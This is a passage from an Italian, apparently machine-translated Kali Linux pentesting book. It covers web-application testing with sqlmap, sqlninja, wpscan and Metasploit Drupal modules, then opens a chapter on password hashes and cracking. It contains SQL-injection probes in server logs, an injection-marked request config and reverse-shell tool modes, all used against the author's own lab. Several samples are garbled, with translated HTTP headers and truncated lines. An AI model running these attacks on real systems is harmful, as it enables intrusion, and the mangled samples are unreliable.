conoscere il sistema operativo sottostante. Ovviamente, non è la fine del
mondo se lo esegui una volta, non trovi nulla perché è la piattaforma
sbagliata e poi esegui l'altra. Tuttavia, scegliere quella sbagliata, non
ottenere risultati e dare per scontato di aver finito è una mossa sbagliata.
Porta a un falso senso di sicurezza da parte dell'organizzazione su cui stai
eseguendo il test.
Per eseguire entrambi, il processo è semplice. Il programma fa tutto il
lavoro. Gli unici parametri richiesti dal programma sono il nome host e il
numero di porta che stai testando. Per l'esecuzione su un server Linux,
dovresti usare jboss-linux , e per Windows, usare jboss-win . Il test è
semplice, come puoi vedere nell'Esempio 8-9 .
Esempio 8-9. Test JBoss
┌──(kilroy@badmilo)-[~]
└─$ jboss-linux 192.168.1.20 8080
[x] Recupero del cookie [x]
Creazione dello script BSH in
corso...
Data la prevalenza di questi server applicativi, non sorprende che esistano
altri modi per testare l'infrastruttura sottostante. Potrebbero esserci più
modi per determinare il tipo di server applicativo e il sistema operativo su
cui viene eseguito.
Puoi usare nmap o alcuni moduli Metasploit.
Attacchi basati su SQL
Gli attacchi di iniezione SQL sono un problema serio, considerando che
prendono di mira il database dell'applicazione web. In Kali sono forniti
strumenti per testare le vulnerabilità di iniezione SQL nell'applicazione.
Considerando l'importanza della risorsa, questo non sorprende. Inoltre, ci
sono librerie facili da usare con i vari tipi di database che probabilmente
incontreresti. Ciò rende molto più semplice scrivere programmi per
lanciare gli attacchi. Gli strumenti eseguono una gamma di attacchi in
grado di attaccare i server di database SQL Server, MySQL e Oracle di
Microsoft.
Il primo che vogliamo esaminare è sqlmap . Questo programma è pensato
per automatizzare il processo di ricerca di vulnerabilità basate su SQL nelle
pagine web. Supporta i test sui database che ci si aspetterebbe di vedere in
questo tipo di installazioni: MySQL, Microsoft SQL Server, PostgreSQL e
Oracle. Per eseguire sqlmap , devi prima individuare una pagina che
avrebbe dati da inviare al database. Sto utilizzando un'installazione di
WordPress che ho localmente per i test, solo perché WordPress è semplice
da configurare e ha pagine facili da individuare che andranno al database.
Per questo, utilizzeremo una query di ricerca, come mostrato nell'esempio
810 . Poiché è l'ultima versione di WordPress e gli sviluppatori hanno
accesso anche a questo strumento, non mi aspetterei che sqlmap abbia
successo qui, ma puoi almeno vedere come funziona e vedere un
campione dell'output mentre esegue i test.
Esempio 8-10. Test sqlmap del sito WordPress locale
┌──(kilroy@badmilo)-[~]
└─$ sqlmap -u http://192.168.1.20/wordpress/?s=fo
___
__H__
___ ___["]_____ ___ ___ {1.7.11#stabile}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] disclaimer legale: l'uso di sqlmap per
attacchi al consenso è illegale. È responsabilità
dell'utente finale. leggi locali, statali e
federali. Gli sviluppatori si assumono la
responsabilità per qualsiasi uso improprio o
danno causato da th [*] starting @ 15:05:37
/2023-12-04/
[15:05:37] [INFO] test di connessione al target
[15:05:38] [INFO] verifica se l'URL di
destinazione contiene
[15:05:39] [INFO] il contenuto dell'URL di
destinazione è stabile
[15:05:39] [INFO] verifica se il parametro GET
's' è
[15:05:39] [WARNING] Il parametro GET 's' non è
un [15:05:40] [WARNING] test euristico (di base)
mostra che può essere iniettato
[15:05:40] [INFO] test per iniezione SQL su GE
[15:05:40] [INFO] test 'AND booleano-basato blin
[15:05:41] [ATTENZIONE] valore(i) riflettente(i)
trovato(i)
[15:05:43] [INFO] testing 'Boolean-based blind [15:05:43] [INFO] testing 'MySQL >= 5.1 AND erro
o clausola GROUP BY (EXTRACTVALUE)' [15:05:44]
[INFO] testing 'PostgreSQL AND error-b
[15:05:44] [INFO] test 'Microsoft SQL Server/S
Clausola AVENTE (IN)'
[15:05:45] [INFO] test 'Oracle AND basato su
errori
[15:05:46] [INFO] testing 'Query inline generiche
[15:05:46] [INFO] test 'PostgreSQL > 8.1 stack
[15:05:46] [INFO] test 'Microsoft SQL Server/S
[15:05:47] [INFO] test delle query impilate di
Oracle
(DBMS_PIPE.RECEIVE_MESSAGE - commento)'
[15:05:47] [INFO] test 'MySQL >= 5.0.12 E ti
[15:05:48] [INFO] test 'PostgreSQL > 8.1 E t
[15:05:48] [INFO] testing 'Microsoft SQL Server/S
[15:05:49] [INFO] testing 'Oracle AND basato sul
tempo si consiglia di eseguire solo test UNION di
base almeno un'altra (potenziale) tecnica
trovata. Fai y numero di richieste? [Y/n] n
[15:05:54] [INFO] test 'Query UNION generica (N
NOTA
Per eseguire alcuni di questi strumenti automatizzati non è necessario conoscere SQL, ma se si
desidera replicare i risultati per convalidarli prima di consegnarli a chi ti paga, è opportuno imparare
un po' di SQL.
Sebbene questo esempio utilizzi un sito WordPress locale, che è sempre il
più sicuro, poiché non dovresti mai effettuare test su un sito per il quale
non hai l'autorizzazione a effettuare test, è possibile fornire a sqlmap un
elenco di URL che è il risultato di un Google dork. Questo è un tipo di query
di ricerca per il motore di ricerca di Google che utilizza parole chiave per
restringere i risultati. Utilizzando il parametro -g è possibile utilizzare una
query di ricerca per ottenere risultati che sqlmap elaborerà come URL. Ciò
è estremamente pericoloso, soprattutto se non hai eseguito la ricerca
personalmente per assicurarti di ottenere i risultati attesi. Assicurati di
limitare i risultati ai siti per i quali sai di avere l'autorizzazione utilizzando il
parametro site:yoursite.com nella ricerca di Google , dove yoursite.com è il
dominio per il quale hai l'autorizzazione a effettuare test.
L'esecuzione di sqlmap senza altri vincoli come nell'esempio 810 seguirà la
strada più sicura per ciò che viene testato. Se vuoi, puoi amplificare il test
aggiungendo --risk con un valore di 2 o 3 (il valore predefinito è 1 e 3 è il
più alto). Ciò aggiungerà il potenziale per test non sicuri che potrebbero
avere un impatto sul database. Puoi anche aggiungere --level con un valore
compreso tra 1 e 5, sebbene 1 sia il valore predefinito e sia il test meno
intrusivo che sqlmap eseguirà. sqlmap ti dà l'opportunità di usare qualsiasi
vulnerabilità trovata per darti una connessione fuori banda per eseguire
comandi shell, caricare file, scaricare file, eseguire codice arbitrario o
eseguire un'escalation di privilegi.
Ci sono un paio di modi per vedere cosa sta succedendo con i test, così
puoi imparare dalle richieste. Il primo è eseguire una cattura di pacchetti
sul sistema Kali Linux. Puoi quindi aprire la cattura di pacchetti in
Wireshark e seguire la conversazione che sta avvenendo, supponendo che
tu non stia testando un server crittografato. L'altro modo, supponendo che
tu abbia accesso al server, è guardare i log sul server web remoto che stai
testando. L'esempio 8-11 mostra alcuni dei messaggi che sono stati
catturati nel log. Mentre non catturerai i parametri che vengono inviati in
questo modo, otterrai qualsiasi cosa nell'URL.
Esempio 8-11. Log di Apache che mostrano test di iniezione SQL
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL--%20rice HTTP/1.1" 200 10
(https://sqlmap.org)"
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL--%20Uito HTTP/1.1
"sqlmap/1.7.11#stable (https://sqlmap.org)"
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL--%20qflY HT
"sqlmap/1.7.11#stable (https://sqlmap.org)"
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL--%20
"sqlmap/1.7.11#stable (https://sqlmap.org)"
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
"-" "sqlmap/1.7.11#stable (https://sqlmap.org)"
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
200 10665 "-" "sqlmap/1.7.11#stable (https://sqlm
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
HTTP/1.1" 200 10663 "-" "sqlmap/1.7.11#stable (ht
192.168.1.38 - - [04/dic/2023:20:06:01 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
HTTP/1.1" 200 10667 "-" "sqlmap/1.7.11#stable (ht
192.168.1.38 - - [04/dic/2023:20:06:02 +0000] "GE
%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
%20wggr HTTP/1.1" 200 10667 "-" "sqlmap/1.7.11#st
Se si prevede di effettuare test estesi aumentando la profondità, ci si
aspetta che ci voglia molto tempo. Il test precedente è durato ben più di
mezz'ora e, cosa prevedibile, non ha prodotto nulla. Uno dei motivi per cui
ci è voluto così tanto tempo è che stava eseguendo test su tutti i server di
database di cui sqlmap è a conoscenza. A un certo punto
punto, ha ipotizzato che il backend fosse Oracle e ha chiesto se avrebbe
dovuto saltare i test su altri backend (in realtà era un server MariaDB). Se
vuoi ridurre il tempo necessario per il test, puoi specificare un backend, se
lo conosci. In questo caso, conoscevo il server che veniva utilizzato. Se stai
eseguendo test opaque-box, potresti non aver trovato nulla che ti consenta
di identificare il server del database, quindi accomodati per un po' mentre
questo viene eseguito.
Un altro strumento che può essere utilizzato per i test basati su SQL è
sqlninja .
Questo strumento richiede un file di configurazione per funzionare.
Tuttavia, configurare questo programma per l'esecuzione non è per i deboli
di cuore. Per testare con sqlninja , è necessario catturare la richiesta. È
possibile farlo con un server proxy come Burp Suite o ZAP. Una volta
ottenuta la richiesta, è necessario configurare il file sqlninja.conf per
includere il parametro di richiesta HTTP. Si dovrebbe fare qualcosa di simile
a quanto si vede nell'esempio 8-12 .
Esempio 8-12. File di configurazione per sqlninja
--httprequest_start-OTTIENI
http://192.168.1.20/wordpress/?s=__SQL2INJECT
Host: 192.168.1.20
Agente utente: Mozilla/5.0 (X11; U; Linux i686;
en-U
Geco/20060418 Firefox/1.0.8
Accetta:
text/xml,application/xml,application/xhtm
q=0.8,image/png,*/* Accetta-Lingua: enus,en;q=0.7,it;q=0.3
Set di caratteri accettati: ISO-8859-15,utf8;q=0.7,*;q=0.7
Tipo di contenuto: application/x-www-formurlencoded
Biscotto: VulnCookie=xxx'%3B__SQL2INJECT__
Connessione: chiusa
--httprequest_end--
Una volta che hai il file di configurazione al suo posto, puoi avviare sqlninja
specificando la modalità. L'esempio 8-13 mostra le modalità disponibili per
l'esecuzione. Questo deriva dall'output della guida.
Esempio 8-13. Modalità di test disponibili
-m <mode> : Obbligatorio. Le modalità
disponibili sono t/test - verifica se
l'iniezione if/fingerprint - impronta
digitale utente, xp_ b/bruteforce account sa bruteforce e/escalation aggiungi utente a sysadmin sx/resurrectxp
- prova a ricreare xp_cm u/upload carica un file .scr s/dirshell - avvia
una shell diretta k/backscan - cerca un
outboun aperto r/revshell - avvia una
shell inversa d/dnstunnel - tenta un
tunnel DNS i/icmpshell - avvia uno sh
ICMP inverso
c/sqlcmd - emette un comando OS "cieco"
m/metasploit - wrapper per Metasploit
Nota un paio di cose su sqlninja qui. Innanzitutto, il suo design è più
flessibile di altri strumenti di test. Come puoi vedere, offre anche molte
modalità per eseguire test sui server web. Negli ultimi anni, i file di
configurazione sono cambiati, quindi assicurati di utilizzare gli esempi di
configurazione in /usr/share/doc/sqlninja .
Test del sistema di gestione dei
contenuti
I sistemi di gestione dei contenuti (CMS) sono usati molto comunemente
per gestire i siti web. Software come Drupal e WordPress possono essere
usati per consentire la pubblicazione di articoli da parte di utenti registrati
con commenti abilitati, ma software come questo possono essere usati
anche per gestire un sito web completo usato dalle aziende. L'interfaccia
web include modi semplici per pubblicare pagine e aggiornamenti. Alcuni
software CMS come WordPress usano un'interfaccia programmatica
chiamata eXtensible Markup Language Remote Procedure Call (XML-RPC),
che viene usata per inviare messaggi XML al server per eseguire funzioni.
Kali include uno scanner specifico per WordPress per cercare vulnerabilità
comuni e configurazioni errate. L'esempio 8-14 mostra lo strumento
wpscan in esecuzione su un'installazione locale di WordPress. Vedrai che la
stringa dell'agente utente,
l'identificazione del software che avvia le richieste di connessione
(tipicamente un browser) è randomizzata. In genere, questo non è
necessario, anche se non c'è niente di sbagliato nel farlo. In questo caso, è
stato necessario forzare wpscan ad avviare una nuova richiesta al server
poiché sembrava ricordare di aver tentato di connettersi a un server che
non aveva WordPress completamente configurato.
Esempio 8-14. Scansione per WordPress
┌──(kilroy@badmilo)-[~]
└─$ wpscan --url http://192.168.1.20/wordpress _________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _
\ \/ \/ / | ___/ \___ \ / __|/ _` |
Italiano:
\/ \/ |_| |_____/ \___|\__,_|_
Scanner di sicurezza WordPress di WPScan
Versione 3.8.25
Sponsorizzato da Automattic - https://automatt
@_WPScan_, @ethicalhack3r, @erwan_lr, @fi
_________________________________________________
[+] URL: http://192.168.1.20/wordpress/ [192.168
[+] Iniziato: Mar 5 Dic 17:45:52 2023 Scoperte
interessanti:
[+] Intestazioni
| Voce interessante: Server: Apache/2.4.57 (Ubun
| Trovato da: Intestazioni (rilevamento passivo)
| Fiducia: 100%
[+] XML-RPC sembra essere abilitato:
http://192.168.
| Trovato da: Accesso diretto (rilevamento
aggressivo)
| Fiducia: 100%
Puoi anche eseguire test su Drupal, un altro CMS, anche se non esiste un
programma di test autonomo. Come al solito, molto può essere trovato in
Metasploit. L'esempio 8-15 mostra un elenco dei moduli disponibili per la
scansione o lo exploit di un'installazione di Drupal.
Esempio 8-15. Moduli Metasploit per Drupal
msf6 > cerca drupal
Moduli corrispondenti
================
# Nome Divulgazione Grado
Data
- ---- ---------- ---- 0 exploit/unix/webapp/ ↩
2016-07-13 excel drupal_coder_exec 1
exploit/unix/webapp/ ↩ 2018-03-28 excel
drupal_drupalgeddon2
2 exploit/multi/http/ ↩ 2014-10-15 excel
drupal_drupageddon
3 ausiliario/raccogliere/ ↩ 2012-10-17 norma
drupal_openid_xxe 4 exploit/unix/webapp/ ↩ 201607-13 excel drupal_restws_exec 5
exploit/unix/webapp/ ↩ 2019-02-20 norma
drupal_restws_unserialize 6
ausiliario/scanner/http/ ↩ 2010-07-02 norma
drupal_views_user_enum
7 exploit/unix/webapp/ ↩ 2005-06-29 excel
php_xmlrpc_eval
Ci sono anche moduli per WordPress in Metasploit, ovviamente. Inoltre,
puoi trovare moduli che testeranno XML-RPC, non solo in WordPress ma
anche in altri software che usano quell'interfaccia.
Tutto ciò non significa che non si possano usare soluzioni di web testing
comuni contro installazioni CMS, ma alcune sono così comuni che sono
stati sviluppati scanner e attacchi specifici. A causa delle loro interfacce
programmatiche, possono essere specificamente suscettibili alle
vulnerabilità. Ciò è forse aumentato dall'uso di plug-in, che possono
esporre vulnerabilità aggiuntive o almeno una maggiore superficie di
attacco. Ecco perché puoi trovare moduli mirati per Metasploit e anche
strumenti come wpscan in Kali.
Compiti vari
Kali include anche strumenti per il test web che soddisfano alcuni casi di
nicchia. Ad esempio, WebDAV è un'estensione di HTTP che consente la
creazione e la pubblicazione in remoto. Come accennato in precedenza,
HTTP era un protocollo semplice quando è stato sviluppato, quindi c'è stata
la necessità di creare protocolli di supporto e interfacce applicative. Il
programma davtest determinerà se un server di destinazione può essere
sfruttato per caricare file. I server WebDAV che consentono il caricamento
aperto di file possono essere vulnerabili agli attacchi. Di solito, scoprirai
che WebDAV è su sistemi Windows che eseguono Internet Information
Systems (IIS), sebbene siano disponibili estensioni per WebDAV per altri
server web. Se trovi un server web su un sistema Windows, puoi provare
davtest , che richiede solo un URL per essere eseguito.
I server Apache possono essere configurati per consentire a tutti di avere la
propria sezione del sito web. Gli utenti inseriranno i propri contenuti in una
directory speciale nella propria home page, forse chiamata public_html .
Tutto ciò che si trova in quella directory può essere visualizzato in remoto
tramite il server web. Quando un utente del sistema può pubblicare i
propri contenuti senza alcuna supervisione, le informazioni potrebbero
trapelare. Di conseguenza, potrebbe essere utile determinare se ci sono
directory utente. Puoi usare apache-users per testare le directory utente.
Questo programma richiede un elenco di parole, poiché si tratta
essenzialmente di un attacco brute-force in cui vengono controllati tutti gli
utenti forniti nell'elenco di parole. Un esempio di esecuzione di apacheusers potrebbe essere simile a apache-users -h 192.168.1.20 -l
/usr/share/wordlists/metasploit/unix_users.txt -p 80 -s 0 -e 403 -t 10 .
La riga di comando può essere abbastanza semplice, ma analizziamola. Per
prima cosa, forniamo un host, che in questo caso è un indirizzo IP.
Dobbiamo anche fornire un elenco di parole che il programma deve
leggere. Per questa esecuzione, stiamo utilizzando un elenco di nomi
utente Unix comuni forniti con il pacchetto Metasploit. Indichiamo anche
ad apache-users a quale porta deve connettersi. Questa sarebbe
comunemente la porta 80, a meno che non si utilizzi TLS/SSL, nel qual caso
sarebbe in genere la porta 443. Il parametro -s 0 indica ad apache-users di
non utilizzare TLS/SSL. Infine, il codice di errore da cercare è 403 e il
programma dovrebbe avviare 10 thread, il che lo aiuterà a funzionare più
velocemente.
È comune che i server web vengano scandagliati dai motori di ricerca in
modo che possano indicizzare le pagine fornite dal server. Ciò rende il
contenuto sul server ricercabile, il che potrebbe consentire ai consumatori
di raggiungere il sito. In alcuni casi, tuttavia, il proprietario del sito
potrebbe non voler rendere ricercabili sezioni del sito perché preferirebbe
che gli utenti non le visitassero. Il modo per risolvere questo problema è
includere un file robots.txt che includa le impostazioni Disallow: per dire ai
ragni di non cercare o indicizzare quelle sezioni del sito web. Ciò
presuppone che il ragno di ricerca si comporti bene, poiché è una
convenzione piuttosto che altro che impedirebbe al contenuto di essere
indicizzato. Il programma parsero catturerà il file robots.txt per
determinare lo stato di ciò a cui si fa riferimento in quel file. Puoi vedere
un'esecuzione di parsero nell'Esempio 8-16 .
Esempio 8-16. Esecuzione del parsero
┌──(kilroy1badmilo)-[~]
└─$ parsero -u 192.168.1.20
____
| _ \ __ _ _ __ ___ ___ _ __ ___
| |_) / _` | '__/ __|/ _ \ '__/ _ \
| __/ (_| | | \__ \ __/ | | (_) |
|_| \__,_|_| |___/\___|_| \___/
Avvio di Parsero v0.81 (https://github.com/behind
alle 18:16:06 del 23/05/12 Rapporto di scansione
Parsero per 192.168.1.20
http://192.168.1.20/components/ 200 OK
http://192.168.1.20/modules/ 200 OK
http://192.168.1.20/cache/ 200 OK
http://192.168.1.20/bin/ 200 OK
http://192.168.1.20/language/ 200 OK
http://192.168.1.20/layouts/ 200 OK
http://192.168.1.20/plugins/ 200 OK
http://192.168.1.20/administrator/ 500 Internal S
http://192.168.1.20/installation/ 404 Non trovato
http://192.168.1.20/libraries/ 200 OK
http://192.168.1.20/logs/ 404 Non trovato
http://192.168.1.20/includes/ 200 OK
http://192.168.1.20/tmp/ 200 OK
http://192.11.20/cli/ 200 OK [+] Sono stati
analizzati 14 link e 11 di questi sono un
Finito in 0,2005910873413086 secondi
Il vantaggio di eseguire parsero è che un'azienda potrebbe non volere che
queste posizioni vengano indicizzate perché potrebbero avere componenti
sensibili o fragili. Se prendi il file robots.txt , puoi ottenere un elenco di
luoghi specifici nel sito che potresti voler esaminare più da vicino. Puoi
prendere tu stesso il file robots.txt e leggerlo, ma parsero eseguirà anche
dei test su ciascuno degli URL, il che può farti sapere dove dovresti fare
altri test. Come puoi vedere, alcune delle voci hanno ricevuto un 404. Ciò
significa che quegli elenchi non esistono sul server. Di conseguenza, puoi
risparmiare tempo non preoccupandoti di loro.
Riepilogo
K ali Linux include diversi strumenti disponibili per il test delle applicazioni
web. Ciò è positivo, considerando il numero di servizi che ora vengono
consumati tramite le applicazioni web. Abbiamo dato un'occhiata agli
strumenti e a come puoi usarli mentre lavori sui test. Tuttavia, non
abbiamo trattato tutto ciò che è disponibile. Puoi trovare altri strumenti
nel menu di Kali, ma solo quelli che sono stati installati di default. Potresti
voler tenere d'occhio la pagina degli strumenti sul sito web di Kali.
Ecco alcune idee importanti da trarre da questo capitolo:
Un'architettura comune per applicazioni web può includere un
bilanciatore di carico, un server web, un server applicativo e un server di
database. Strumenti basati su proxy come Burp Suite e Zed Attack Proxy
possono essere utilizzati per test e scansioni di applicazioni web.
Strumenti specifici come skipfish e nikto possono essere usati per
automatizzare i test senza usare tester basati su proxy. sqlmap è un
buon strumento per testare i test di iniezione SQL. Le installazioni CMS
possono essere buoni obiettivi per i test e XMLRPC è a volte usato per
interagire con questi sistemi.
Per raccogliere informazioni ed effettuare test si possono utilizzare
strumenti come davtest e parsero .
Risorse utili
OWASP, OWASP Top Ten Project
Strumenti Kali, Elenco degli strumenti Kali Linux
“Architetture comuni per applicazioni Web” di
Microsoft
Risorsa XML-RPC per gli strumenti di test
OWASP . Che cos'è XML-RPC?
Capitolo 9. Cracking delle password
Non sempre è necessario decifrare le password, a seconda di quanta
collaborazione si ottiene dalle persone che ti pagano per testare i loro
sistemi. Tuttavia, può essere utile se si procede senza alcuna
consapevolezza di ciò che si troverà. Decifrare le password può aiutarti a
ottenere ulteriori livelli di privilegi e potenzialmente a fornirti l'accesso a
sistemi aggiuntivi nella rete. Questi possono essere sistemi server
aggiuntivi o possono essere ingressi nella rete desktop. Di nuovo, è qui che
è essenziale ottenere un ambito di attività quando si documenta l'accordo
con il datore di lavoro. Devi sapere cosa è fuori dai limiti e cosa è
considerato fair play. Questo ti farà sapere se hai anche bisogno di
preoccuparti del deciframento delle password.
Le password vengono memorizzate in un modo che richiede di eseguire
attacchi di cracking per estrarle. Tuttavia, cosa significa esattamente? Cos'è
il cracking delle password e perché è necessario? Ne parleremo in questo
capitolo. Nel frattempo, otterrai una migliore comprensione degli hash
crittografici. Li incontrerai ovunque, quindi è un buon concetto da
imparare.
Ci occuperemo di un paio di tipi di password. Per prima cosa, parleremo di
come eseguire attacchi se ti capita di avere un file di password, nella loro
forma hash, davanti a te. Daremo anche un'occhiata a come andare dietro
ai servizi remoti. Numerosi servizi di rete richiedono l'autenticazione prima
che un utente possa interagire con loro. Pertanto, ci sono modi per
attaccare quel processo di autenticazione per ottenere le credenziali. A
volte lavoreremo su dizionari o elenchi di parole. Altre volte, proveremo
ogni possibile combinazione di password.
Archiviazione password
Perché abbiamo bisogno di decifrare le password? Il motivo è che non sono
memorizzate in testo normale. Sono memorizzate in una forma che non
può essere facilmente restituita alla password originale. Questa è
comunemente una forma di hashing crittografico. Un hash crittografico è
definito funzione unidirezionale : i dati inviati alla funzione non possono
essere restituiti al loro stato originale. Non c'è modo di ottenere i dati
originali dall'hash. Questo ha un senso, tuttavia, se ci pensi. Un hash
crittografico genera un output di lunghezza fissa.
Una funzione hash è un processo matematico complesso. Accetta input di
qualsiasi lunghezza e restituisce un valore che ha la stessa lunghezza di
qualsiasi altro input, indipendentemente dalla dimensione dell'input.
Diverse funzioni hash crittografiche genereranno diverse lunghezze di
output. La funzione hash che è stata comune per anni, Message Digest 5
(MD5), ha generato una lunghezza di output di 128 bit, che apparirebbe
come 32 caratteri dopo che i valori esadecimali per ogni byte fossero stati
visualizzati. Secure Hash Algorithm 1 (SHA1) genera una lunghezza di
output di 160 bit, che verrebbe visualizzata come 40 caratteri esadecimali.
Sebbene gli algoritmi di hashing non possano essere invertiti, possono
essere problematici. Gli algoritmi di hashing senza sufficiente profondità
possono potenzialmente generare collisioni. Una collisione si verifica
quando due diversi set di dati possono generare lo stesso valore di output.
Il problema matematico che parla di questo problema è chiamato
paradosso del compleanno . Il paradosso del compleanno parla della
probabilità che due cose abbiano lo stesso valore con un set limitato di
input.
IL PARADOSSO DEL COMPLEANNO
Immagina di essere in una stanza con un certo numero di persone e di
iniziare a confrontare i propri compleanni. Quante persone pensi che ci
vorrebbero perché ci sia una probabilità del 50% (in pratica, un lancio di
moneta) che due persone nella stanza abbiano lo stesso compleanno, lo
stesso mese e lo stesso giorno? È un numero molto più piccolo di quanto
potresti pensare. La risposta è solo 23. Se dovessi rappresentare
graficamente questo, vedresti una forte pendenza fino a quel punto.
Dopodiché, la pendenza rallenta molto. Ogni cambiamento è incrementale
finché non arriviamo al 100%.
Non penseresti che ci vorrebbero così poche persone per un lancio di
moneta come probabilità. Per avere una probabilità del 100% che due
persone nella stanza abbiano lo stesso compleanno, dovrebbero esserci
367 persone nella stanza. Ci sono 366 potenziali compleanni, se si
considerano gli anni bisestili. È possibile avere 366 persone in una stanza
con compleanni diversi, anche se sarebbe una probabilità davvero bassa.
Una volta arrivati a 367 persone, qualcuno deve condividere il compleanno
con qualcun altro. Il grafico della probabilità rispetto al numero di persone
si aggira intorno al 99% per molto tempo. È questa probabilità statistica
della collisione (due persone che hanno lo stesso compleanno o due set di
input che creano lo stesso valore di output) che è la chiave per analizzare
gli algoritmi di hashing. In sostanza, per ottenere una probabilità del 50% di
una collisione ci vuole una piccola percentuale dello spazio totale. Per
arrivare al 100%, però, hai bisogno di più dello spazio totale del problema.
Il processo di autenticazione potrebbe essere più o meno così. Quando
vengono create le password, il valore di input dovrebbe essere sottoposto
a hash e l'hash viene memorizzato. La password originale è essenzialmente
effimera, o almeno dovrebbe esserlo, anche se non è sempre così con
applicazioni scritte male che gestiscono la propria autenticazione. Non
dovrebbe essere conservata oltre il tempo necessario per generare l'hash.
Per autenticare, un utente immette un valore per una password. Il valore
immesso viene sottoposto a hash e il valore hash risultante viene
confrontato con quello memorizzato. Se i valori corrispondono, l'utente ha
eseguito correttamente l'autenticazione. Il problema delle collisioni,
tuttavia, è che significa che non è necessario conoscere o indovinare la
password originale. Devi solo trovare un valore che possa generare lo
stesso valore hash della password originale. Questa è una vera
implementazione del paradosso del compleanno e riguarda probabilità e
dimensioni hash.
Ciò significa che il nostro lavoro è diventato leggermente più semplice, dal
momento che non dobbiamo necessariamente ricreare la password
originale. Tuttavia, ciò dipende dalla profondità dell'algoritmo di hashing.
Sistemi operativi diversi gestiranno le proprie password in modi diversi.
Windows utilizza Security Account Manager (SAM) e Linux utilizza il
pluggable authentication module (PAM) per gestire l'autenticazione per
supportare diversi backend per l'archiviazione delle password. Ciò include
la password standard basata su testo e i file shadow per l'autenticazione
che sono stati comuni nei sistemi operativi basati su Unix per decenni.
Responsabile account di sicurezza
Microsoft utilizza SAM sin dall'introduzione di
Microsoft Windows XP. Il SAM è mantenuto nel Registro di sistema di
Windows ed è protetto dall'accesso da parte di utenti non autorizzati.
Tuttavia, un utente autorizzato può leggere il SAM e recuperare le
password hash. Per ottenere le password per il cracking, un aggressore
dovrebbe ottenere l'accesso a livello di sistema o amministrativo.
In passato le password venivano archiviate tramite un hash LanManager
(LM). Gli hash LM presentavano seri problemi. Il processo per creare un
hash LM consisteva nell'utilizzare un valore di 14 byte o aggiungendo alla
password un'estensione o troncandola e convertendo le lettere minuscole
in maiuscole. Il valore di 14 caratteri veniva quindi suddiviso in due
stringhe di 7 caratteri. Le chiavi Digital Encryption Standard (DES) venivano
create dalle due stringhe e quindi utilizzate per crittografare un valore
noto. I sistemi fino a Windows Server 2003 utilizzavano questo metodo per
creare e archiviare i valori delle password. LanManager, tuttavia, definisce
non solo l'archiviazione delle password ma anche, cosa più importante, il
modo in cui le richieste di autenticazione vengono trasmesse sulla rete.
Tuttavia, dati i problemi con LanManager, ci sono stati dei cambiamenti.
Questi sono stati implementati tramite NT LanManager (NTLM) e NTLMv2.
Probabilmente è importante notare che questo riguarda solo
l'archiviazione delle password e non ha nulla a che fare con
l'autenticazione.
Il SAM è memorizzato in un file quando il sistema è inattivo, ma quando il
sistema è in esecuzione, il file è vuoto. Quando il sistema viene avviato, il
contenuto del file SAM viene letto nella memoria e il file diventa di
lunghezza 0. Lo stesso vale per gli altri hive del registro di sistema. Se fossi
in grado di spegnere il sistema, saresti in grado di estrarre il file dal disco.
Quando lavori con un sistema live, devi estrarre gli hash dalla memoria.
Fortunatamente, ci sono strumenti che possono farlo.
NOTA
Sappiamo tutti quanto possano essere strani i film e i programmi TV quando si tratta di mostrare
contenuti tecnici. Spesso vedrai le password identificate un carattere alla volta, ma nella vita reale non
è così che funziona. L'hash identifica l'intera password. Se una password è memorizzata come hash,
non c'è modo di identificare i singoli caratteri della password. Ricorda, una funzione hash è
unidirezionale e i suoi pezzi non corrispondono ai caratteri della password.
Dal punto di vista del sistema Windows, gli utenti hanno un SID, che è una
lunga stringa che identifica l'utente al sistema. Il SID è significativo quando
si tratta di dare agli utenti i permessi per usare le risorse sul sistema. Il SID
è un identificatore univoco che include informazioni sul sistema di
emissione e sulla versione, così come, naturalmente, la parte che è univoca
per l'utente.
I sistemi Windows possono essere connessi a una rete aziendale con server
Windows che gestiscono l'autenticazione. Il SAM esiste su ogni sistema con
account locali. Tutto il resto viene gestito sulla rete tramite i server Active
Directory. Se ti connetti a un sistema che utilizza un server Active Directory,
non otterrai gli hash dagli utenti di dominio che accederebbero al sistema.
Tuttavia, un account amministratore locale verrebbe configurato quando
l'amministrazione deve avvenire senza accesso al server Active Directory.
Se riesci a scaricare gli hash da un sistema locale, potresti ottenere
l'account amministratore locale, che potresti essere in grado di utilizzare
per ottenere l'accesso remoto.
Naturalmente, tutto questo è una panoramica di altissimo livello di
Gestione delle password di Windows e non dovrebbe essere usata per
comprenderla appieno. È solo per dare un po' di contesto in modo che
possiamo parlare di come decifrare le password di Windows usando gli
strumenti che abbiamo a disposizione su Kali.
PAM e Cripta
I sistemi operativi simili a Unix hanno a lungo utilizzato file piatti per
memorizzare le informazioni utente. Inizialmente, tutto questo era
memorizzato nel file /etc/passwd . Questo è un problema, tuttavia.
Diverse utilità di sistema devono essere in grado di fare riferimento al file
passwd per eseguire una ricerca sul numero di identificazione utente
memorizzato con le informazioni del file e il nome utente, sebbene il
sistema operativo utilizzi effettivamente il numero di identificazione
utente, che è associato al nome utente. L'utilità utilizzata dall'utente
potrebbe non aver nemmeno bisogno di utilizzare il nome utente e
potrebbe aver bisogno solo dell'ID utente, che è il valore numerico. A
differenza dei sistemi Windows che utilizzano una lunga stringa di caratteri
come SID, i sistemi simili a Unix come Linux utilizzano numeri e
